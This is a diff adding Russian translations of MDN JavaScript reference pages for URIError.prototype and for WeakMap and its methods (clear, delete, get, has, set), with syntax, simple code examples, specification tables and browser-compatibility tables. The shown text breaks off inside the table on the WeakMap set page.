+<p>Все экземпляры {{jsxref("URIError")}} наследуются от объекта <code>URIError.prototype</code>. Вы можете использовать прототип для добавления свойств или методов ко всем экземплярам.</p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+<dl>
+ <dt><code>URIError.prototype.constructor</code></dt>
+ <dd>Определяет функцию, создающую прототип экземпляра.</dd>
+ <dt>{{jsxref("Error.prototype.message", "URIError.prototype.message")}}</dt>
+ <dd>Сообщение ошибки. Хотя стандарт ECMA-262 определяет, что {{jsxref("URIError")}} должен предоставлять своё собственное свойство <code>message</code>, в <a href="/ru/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a> он наследует свойство {{jsxref("Error.prototype.message")}}.</dd>
+ <dt>{{jsxref("Error.prototype.name", "URIError.prototype.name")}}</dt>
+ <dd>Название ошибки. Унаследовано от {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.fileName", "URIError.prototype.fileName")}}</dt>
+ <dd>Путь к файлу, в котором возникла эта ошибка. Унаследовано от {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.lineNumber", "URIError.prototype.lineNumber")}}</dt>
+ <dd>Номер строки в файле, в котором возникла эта ошибка. Унаследовано от {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.columnNumber", "URIError.prototype.columnNumber")}}</dt>
+ <dd>Номер колонки в строке, на которой возникла эта ошибка. Унаследовано от {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.stack", "URIError.prototype.stack")}}</dt>
+ <dd>Стек вызовов. Унаследовано от {{jsxref("Error")}}.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+<p>Хотя объект прототипа {{jsxref("URIError")}} не содержит собственных методов, экземпляры {{jsxref("URIError")}} наследуют некоторые методы из цепочки прототипов.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Определено как <code><em>NativeError</em>.prototype</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Определено как <code><em>NativeError</em>.prototype</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Error.prototype")}}</li>
+ <li>{{jsxref("Function.prototype")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/weakmap/clear/index.html b/files/ru/web/javascript/reference/global_objects/weakmap/clear/index.html
new file mode 100644
index 0000000000..260264b01d
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/weakmap/clear/index.html
@@ -0,0 +1,91 @@
+---
+title: WeakMap.prototype.clear()
+slug: Web/JavaScript/Reference/Global_Objects/WeakMap/clear
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap/clear
+---
+<div>{{JSRef}} {{obsolete_header}}</div>
+
+<p>Метод <code><strong>clear()</strong></code> удаляет все элементы из объекта WeakMap, но он больше не является частью ECMAScript и его реализаций.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><em>wm</em>.clear();</code></pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_метода_clear">Использование метода <code>clear</code></h3>
+
+<pre class="brush: js;highlight:[10]">var wm = new WeakMap();
+var obj = {};
+
+wm.set(obj, "foo");
+wm.set(window, "bar");
+
+wm.has(obj); // true
+wm.has(window); // true
+
+wm.clear();
+
+wm.has(obj)  // false
+wm.has(window)  // false
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<p>Не входит ни в одну текущую спецификацию или черновик. Этот метод был частью черновика ECMAScript 6, до 28 ревизии (версия от 14 октября, 2014), но был удален в последующих версиях черновика. В финальном стандарте его не будет.</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>36</td>
+   <td>20-45</td>
+   <td>11</td>
+   <td>23</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>20-45</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("WeakMap")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/weakmap/delete/index.html b/files/ru/web/javascript/reference/global_objects/weakmap/delete/index.html
new file mode 100644
index 0000000000..76e4b078dc
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/weakmap/delete/index.html
@@ -0,0 +1,114 @@
+---
+title: WeakMap.prototype.delete()
+slug: Web/JavaScript/Reference/Global_Objects/WeakMap/delete
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap/delete
+---
+<div>{{JSRef}}</div>
+
+<p><code><font face="Open Sans, Arial, sans-serif">Метод </font><strong>delete()</strong></code> удаляет элемент из объекта WeakMap.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><em>wm</em>.delete(key);</code></pre>
+
+<h3 id="Параетры">Параетры</h3>
+
+<dl>
+ <dt>key</dt>
+ <dd>Обязателен. Ключ элемента, который будет уделен из объекта WeakMap.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Возвращает true если элемент из объекта WeakMap удалён успешно.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_метода_delete">Использование метода delete</h3>
+
+<pre class="brush: js;highlight:[4]">var wm = new WeakMap();
+wm.set(window, "foo");
+
+wm.delete(window); // Возвращает true. Успешно удалён.
+
+wm.has(window);    // Возвращает false. Объекта window больше нет в WeakMap.
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-weakmap.prototype.delete', 'WeakMap.prototype.delete')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>36</td>
+   <td>{{CompatGeckoDesktop("6.0")}}</td>
+   <td>11</td>
+   <td>23</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("6.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Firefox-specific_notes">Firefox-specific notes</h2>
+
+<ul>
+ <li>Prior to SpiderMonkey 38 {{geckoRelease(38)}}, this method threw a {{jsxref("TypeError")}} when the <code>key</code> parameter was not an object. This has been fixed in version 38 and later to return <code>false</code> as per latest ES6 standard ({{bug(1127827)}}).</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("WeakMap")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/weakmap/get/index.html b/files/ru/web/javascript/reference/global_objects/weakmap/get/index.html
new file mode 100644
index 0000000000..3617aa5f82
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/weakmap/get/index.html
@@ -0,0 +1,115 @@
+---
+title: WeakMap.prototype.get()
+slug: Web/JavaScript/Reference/Global_Objects/WeakMap/get
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap/get
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>get()</strong></code> возвращает элемент из объекта WeakMap,</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><em>wm</em>.get(key);</code></pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>key</dt>
+ <dd>Обязателен. Ключ элемента, который будет возвращён из объекта WeakMap.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Возвращает элемент по указанному ключу или undefined, если ключ не может быть найден в объекте WeakMap.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_метода_get">Использование метода get</h3>
+
+<pre class="brush: js">var wm = new WeakMap();
+wm.set(window, "foo");
+
+wm.get(window); // Возвращает "foo".
+wm.get("baz");  // Возвращает undefined.
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-weakmap.prototype.get', 'WeakMap.prototype.get')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>36</td>
+   <td>{{CompatGeckoDesktop("6.0")}}</td>
+   <td>11</td>
+   <td>23</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("6.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Firefox-specific_notes">Firefox-specific notes</h2>
+
+<ul>
+ <li>Prior to SpiderMonkey 38 {{geckoRelease(38)}}, this method threw a {{jsxref("TypeError")}} when the key parameter was not an object. However, the latest ES6 standard specifies to return <code>undefined</code> instead. Furthermore, <code>WeakMap.prototype.get</code> accepted an optional second argument as a fallback value, which is not part of the standard. Both non-standard behaviors are removed in version 38 and higher ({{bug(1127827)}}).</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("WeakMap")}}</li>
+ <li>{{jsxref("WeakMap.set()")}}</li>
+ <li>{{jsxref("WeakMap.has()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/weakmap/has/index.html b/files/ru/web/javascript/reference/global_objects/weakmap/has/index.html
new file mode 100644
index 0000000000..18eede2abb
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/weakmap/has/index.html
@@ -0,0 +1,118 @@
+---
+title: WeakMap.prototype.has()
+slug: Web/JavaScript/Reference/Global_Objects/WeakMap/has
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap/has
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>has()</strong></code> возвращает булевое значение, которое указывает на то существует элемент с таким ключом в объекте WeakMap или нет.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><em>wm</em>.has(key);</code></pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>key</dt>
+ <dd>Обязателен. Ключ элемента, существование которого необходимо проверить в объекте WeakMap.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<dl>
+ <dt>Boolean</dt>
+ <dd>Возвращает <code>true</code> если элемент с указанным ключом существует в объекте WeakMap, если нет — false.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_метода_has">Использование метода <code>has</code></h3>
+
+<pre class="brush: js">var wm = new WeakMap();
+wm.set(window, "foo");
+
+wm.has(window); // возвращает true
+wm.has("baz");  // возвращает false
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-weakmap.prototype.has', 'WeakMap.prototype.has')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>36</td>
+   <td>{{CompatGeckoDesktop("6.0")}}</td>
+   <td>11</td>
+   <td>23</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("6.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Firefox-specific_notes">Firefox-specific notes</h2>
+
+<ul>
+ <li>Prior to SpiderMonkey 38 {{geckoRelease(38)}}, this method threw a {{jsxref("TypeError")}} when the <code>key</code> parameter was not an object. This has been fixed in version 38 and later to return <code>false</code> as per latest ES6 standard ({{bug(1127827)}}).</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("WeakMap")}}</li>
+ <li>{{jsxref("WeakMap.prototype.set()")}}</li>
+ <li>{{jsxref("WeakMap.prototype.get()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/weakmap/index.html b/files/ru/web/javascript/reference/global_objects/weakmap/index.html
new file mode 100644
index 0000000000..1bf1b3c017
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/weakmap/index.html
@@ -0,0 +1,158 @@
+---
+title: WeakMap
+slug: Web/JavaScript/Reference/Global_Objects/WeakMap
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap
+---
+<div>{{JSRef("Global_Objects", "WeakMap")}}</div>
+
+<h2 id="Сводка">Сводка</h2>
+
+<p>Объект <strong><code>WeakMap</code></strong> — коллекция пар ключ-значение. В качестве ключей могут быть использованы только объекты, а значения могут быть произвольных типов.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><code>new WeakMap([iterable])
+</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>iterable</code></dt>
+ <dd>Может быть массивом или любым другим итерируемым объектом, элементы которого являются парами ключ-значение (массивы из двух элементов). Каждая пара ключ-значение будет добавлена во вновь созданный экземпляр <code>WeakMap</code>. <code>Null</code> обрабатывается как <code>undefined</code>.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Ключами WeakMap могут быть только объекты. {{Glossary("Primitive", "Примитивы")}} в качестве ключей не допускаются (т.е. {{jsxref("Symbol")}} не может быть ключом <code>WeakMap</code>).</p>
+
+<h3 id="Почему_WeakMap">Почему<em> Weak</em>Map?</h3>
+
+<p>Опытный JavaScript разработчик заметит, что map API можно реализовать на JavaScript c помощью двух массивов (один для ключей, второй для значений) и четырех общих API методов. Установка элементов в этот map должна будет одновременно запушить ключи и значения. В результате индексы ключа и значения будут корректными. Получение значений с map потребует итерирование ключей, чтобы найти совпадение, а затем использование индекса этого соответствия для извлечения соответствующего значения из массива значений.</p>
+
+<p>У такой реализации было бы два главных неудобства. Первым является O(n) поиск (где n — количество ключей в map), так как обе операции требуют итерирование списка ключей для нахождения совпадения. Вторым <span style="background-color: #f9f9f9; color: #252525; font-family: sans-serif; font-size: 12.3199996948242px; line-height: 18.4799995422363px; text-transform: lowercase;">– </span>проблема утечки памяти. В словарях, написанных вручную, массив с ключами будет хранить ссылки на объекты-ключи, не давая им быть помеченными сборщиком мусора. В нативных <code>WeakMap</code>, ссылки на объекты-ключи хранятся «слабо», что означает то, что они не предотвратят сборку мусора в том случае, если других ссылок на объект не будет.</p>
+
+<p>WeakMaps имеют “weak” («слабые») обращения к ключам объекта, а следовательно непрепятствие сборщику мусора, когда мы больше не имеем объекта-ключа. WeakMaps могут быть особенно полезными конструкциями при сопоставлении ключей с информацией о ключе, который ценен, только если ключ не был собран сборщиком мусора (Garbage collector).</p>
+
+<p>Из-за того, что ссылки являются слабыми, ключи <code>WeakMap</code> не перечисляемы (то есть нет метода, который возвращает список ключей). Иначе список бы зависел от состояния сбора мусора, представляя индетерминизм. Если вы хотите иметь список ключей, вам следует поддерживать его самостоятельно.</p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<dl>
+ <dt><code>WeakMap.length</code></dt>
+ <dd>Значение свойства <code>length</code> всегда равно 0.</dd>
+ <dt>{{jsxref("WeakMap.prototype")}}</dt>
+ <dd>Представляет прототип конструктора <code>WeakMap</code>. Позволяет добавлять свойства всем объектам типа <code>WeakMap</code>.</dd>
+</dl>
+
+<h2 id="Boolean_instances" name="Boolean_instances">Экземпляры <code>WeakMap</code></h2>
+
+<p>Все экземпляры <code>WeakMap</code> унаследованы от {{jsxref("WeakMap.prototype")}}.</p>
+
+<h3 id="Свойства">Свойства</h3>
+
+<p>{{page('ru/Web/JavaScript/Reference/Global_Objects/WeakMap/prototype','Properties')}}</p>
+
+<h3 id="Методы">Методы</h3>
+
+<p>{{page('ru/Web/JavaScript/Reference/Global_Objects/WeakMap/prototype','Methods')}}</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_объекта_WeakMap">Использование объекта <code>WeakMap</code></h3>
+
+<pre class="brush: js notranslate">const wm1 = new WeakMap(),
+    wm2 = new WeakMap(),
+    wm3 = new WeakMap();
+const o1 = {},
+    o2 = function(){},
+    o3 = window,
+    o4 = [1, 2, 3];
+
+wm1.set(o1, 37);
+wm1.set(o2, 'azerty');
+wm2.set(o1, o2);        // значением может быть что угодно, включая объект или функцию
+wm2.set(o3, undefined);
+wm2.set(wm1, wm2);      // ключами и значениями могут быть объекты. Даже WeakMap-ами
+
+wm1.get(o2); // 'azerty'
+wm2.get(o2); // undefined, нет значения для o2 в wm2
+wm2.get(o3); // undefined, это установленное значение
+
+wm1.has(o2); // true
+wm2.has(o2); // false
+wm2.has(o3); // true (даже если значение равно 'undefined')
+
+wm3.set(o1, 37);
+wm3.get(o1);     // 37
+
+wm1.has(o1);     // true
+wm1.delete(o1);
+wm1.has(o1);     // false
+</pre>
+
+<h3 id="Пример_Реализация_класса_WeakMap-like_классов_с_методом_.clear">Пример: Реализация класса WeakMap-like классов с методом .clear()</h3>
+
+<pre class="brush: js notranslate">class ClearableWeakMap {
+    constructor(init) {
+        this._wm = new WeakMap(init)
+    }
+    clear() {
+        this._wm = new WeakMap()
+    }
+    delete(k) {
+        return this._wm.delete(k)
+    }
+    get(k) {
+        return this._wm.get(k)
+    }
+    has(k) {
+        return this._wm.has(k)
+    }
+    set(k, v) {
+        this._wm.set(k, v)
+        return this
+    }
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-weakmap-objects', 'WeakMap')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-weakmap-objects', 'WeakMap')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<p style=""></p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("javascript.builtins.WeakMap")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p style=""></p>
+
+<ul>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=547941">WeakMap bug at Mozilla</a></li>
+ <li><a href="http://fitzgeraldnick.com/weblog/53/">Hiding Implementation Details with ECMAScript 6 WeakMaps</a></li>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("WeakSet")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/weakmap/prototype/index.html b/files/ru/web/javascript/reference/global_objects/weakmap/prototype/index.html
new file mode 100644
index 0000000000..3a955a427f
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/weakmap/prototype/index.html
@@ -0,0 +1,74 @@
+---
+title: WeakMap.prototype
+slug: Web/JavaScript/Reference/Global_Objects/WeakMap/prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>WeakMap</strong></code><strong><code>.prototype</code></strong> свойство указыкает на прототип {{jsxref("WeakMap")}} конструктора.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>{{jsxref("WeakMap")}} экзепляры унаследывают {{jsxref("WeakMap.prototype")}}. Вы можите использовать прототип конструктора объекта для добавления нових свойств и/или методов всем экзепляра класса <code>WeakMap</code>.</p>
+
+<p><code>WeakMap.prototype</code> является простым объектом:</p>
+
+<pre class="brush: js">Object.prototype.toString.call(WeakMap.prototype); // "[object Object]"</pre>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt><code>WeakMap.prototype.constructor</code></dt>
+ <dd>Возвращает функцию, создавшую экземпляр. {{jsxref("WeakMap")}} function by default.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{jsxref("WeakMap.delete", "WeakMap.prototype.delete(key)")}}</dt>
+ <dd>Удаление значение по ключу. <code>WeakMap.prototype.has(key)</code> вернет <code>false</code> после.</dd>
+ <dt>{{jsxref("WeakMap.get", "WeakMap.prototype.get(key)")}}</dt>
+ <dd>Возвращает значение по ключу, or <code>undefined</code> такового нет.</dd>
+ <dt>{{jsxref("WeakMap.has", "WeakMap.prototype.has(key)")}}</dt>
+ <dd>Вернет логическое значение, связанное с существованием ключа.</dd>
+ <dt>{{jsxref("WeakMap.set", "WeakMap.prototype.set(key, value)")}}</dt>
+ <dd>Устанавливает значение по ключу, после возвращает самого себя.</dd>
+ <dt><s class="obsoleteElement">{{jsxref("WeakMap.prototype.clear()")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">Удаляет все ключи-значения из <code>WeakMap</code> объекта. Заметьте, что это возможно, только есть <code>WeakMap</code>-like объект имеет<code>.clear()</code> метод путем инкапсулирования <code>WeakMap</code> объекта, раннее неимевшего его (смотри пример на странице {{jsxref("WeakMap")}})</s></dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-weakmap.prototype', 'WeakMap.prototype')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-weakmap.prototype', 'WeakMap.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+
+
+<p>{{Compat("javascript.builtins.WeakMap.prototype")}}</p>
+
+<h2 id="Рекомендуем">Рекомендуем</h2>
+
+<ul>
+ <li>{{jsxref("Map.prototype")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/weakmap/set/index.html b/files/ru/web/javascript/reference/global_objects/weakmap/set/index.html
new file mode 100644
index 0000000000..f8dad8a44f
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/weakmap/set/index.html
@@ -0,0 +1,120 @@
+---
+title: WeakMap.prototype.set()
+slug: Web/JavaScript/Reference/Global_Objects/WeakMap/set
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap/set
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>set()</strong></code> добавляет новый элемент с указанными ключом и значением в объект WeakMap.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><em>wm</em>.set(key, value);</code></pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>key</dt>
+ <dd>Обязателен. Ключ добавляемого в WeakMap объект элемента.</dd>
+ <dt>value</dt>
+ <dd>Обязателен. Значение добавляемого в WeakMap объект элемента.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Объект <code>WeakMap.</code></p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_метода_set">Использование метода <code>set</code></h3>
+
+<pre class="brush: js">var wm = new WeakMap();
+var obj = {};
+
+// Добавляет новый элемент в объект WeakMap
+wm.set(obj, "foo").set(window, "bar"); // chainable
+
+// Обновляет элемент в объекте WeakMap
+wm.set(obj, "baz");
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-weakmap.prototype.set', 'WeakMap.prototype.set')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
